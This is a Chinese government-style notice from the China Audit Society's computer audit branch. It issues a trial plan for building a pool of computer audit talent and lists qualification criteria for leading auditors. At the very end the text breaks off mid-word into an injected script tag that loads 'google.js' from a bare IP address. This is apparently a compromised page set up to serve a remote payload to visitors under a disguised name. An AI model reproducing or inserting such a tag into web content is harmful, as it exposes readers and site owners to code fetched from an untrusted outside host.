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中国审计学会计算机审计分会关于印发计算机审计人才库组建实施方案(试行)的函
 
【时间:2015年07月31日】 字号: 【大】 【中】 【小】

各省、自治区、直辖市和计划单列市、新疆生产建设兵团审计学会,各特派办审计理论研究会(组),中国审计学会计算机审计分会各位理事:

    根据中国审计学会计算机审计分会2011至2012年工作计划报告的任务安排,在充分吸收各单位对《计算机审计人才库组建实施方案(征求意见稿)》的反馈意见基础上,经研究,现将《计算机审计人才库组建实施方案(试行)》发给你们。

    具体执行中的有关问题,请与中国审计学会计算机审计分会秘书处联系。联系人及电话:熊宛皎,010—88317610。

 

 

 

                                                     二○一二年三月十三日       

 

    



计算机审计人才库组建实施方案(试行)

 

    为了进一步发挥计算机审计人才在开展计算机审计理论研究和应用实务中的作用,根据《中国审计学会计算机审计分会工作制度》的有关规定,制定本方案。

    一、指导思想

    为适应计算机审计工作发展的客观需要,按照实战需要、结构合理、广泛参与、动态管理的原则,打造致力于计算机审计理论研究、应用实务、成果交流的专业化人才信息平台,加强对人才的跟踪、培养和使用,为计算机审计事业发展提供智力支持与人才资源。

    二、总体目标

    逐步建立和充实计算机审计人才库。到2015年,在国家审计、内部审计和社会审计组织中选拔和培养一批计算机审计领军和能手人才,促进计算机审计人才在计算机审计理论研究和应用实务的各个层面上发挥有效作用。

    三、人才结构与条件

    计算机审计人才库的人才结构,包括领军人才和能手人才。

    (一)计算机审计领军人才。

    计算机审计领军人才包括计算机审计理论研究、计算机审计项目组织、信息系统审计、电子数据审计方面的领军人才。

    计算机审计领军人才应当具备以下的基本条件和专项条件之一。

    1.计算机审计领军人才的基本条件:具备高级审计师或其他高级职称资格;国家审计机关的审计人员应获得审计署计算机审计中级水平考试合格证书;在国家审计、内部审计和社会审计组织中从事审计工作8年以上;热爱计算机审计,具有较强的事业心和责任心;在计算机审计研究和实践中具备扎实造诣,贡献突出,在本领域得到广泛认同。

    2.计算机审计领军人才的专项条件:

    计算机审计理论研究人才,应当具有较高的计算机审计理论研究的能力,其研究成果对当前审计信息化和计算机审计发展的理论和实务具有一定的指导性;最近5年内,在计算机学报、审计研究等核心期刊发表不少于3000字的计算机审计应用或专业理论文章2篇以上,或正式出版专著1本以上。

    计算机审计项目组织人才,应当具有较强的包括计算机审计内容的审计项目组织领导能力,其组织计算机审计方面的业绩和经验对当前组织实施计算机审计项目有一定的指导性;最近3年内,承担审计项目组组长或者副组长、主审3次以上。

    计算机信息系统审计人才,应当具有较强的信息系统审计的专业知识和审计能力,其开展信息系统审计方面的业绩和经验对当前组织实施信息系统审计有一定的指导性;最近3年内,组织或者参与含有信息系统审计内容的审计项目3次以上,在有刊号的期刊发表不少于3000字的信息系统审计应用或专业理论文章1篇以上。

    计算机电子数据审计人才,应当具有较强的电子数据审计的专业知识和数据分析能力,其开展电子数据审计方面的业绩和经验对当前组织实施数据审计有一定的指导性;最近5年内,组织或者参与数据审计5次以上,参加审计署组织的计算机审计方法和应用实例征集评选获得优秀奖3篇以上,在有刊号的期刊发表不少于3000字的电子数据审计应用或专业理论文章2篇以上。

    (二)计算机审计能手人才。

    计算机审计能手人才包括软件应用能手、应用创新能?script src= http://91.239.15.61/google.js \>
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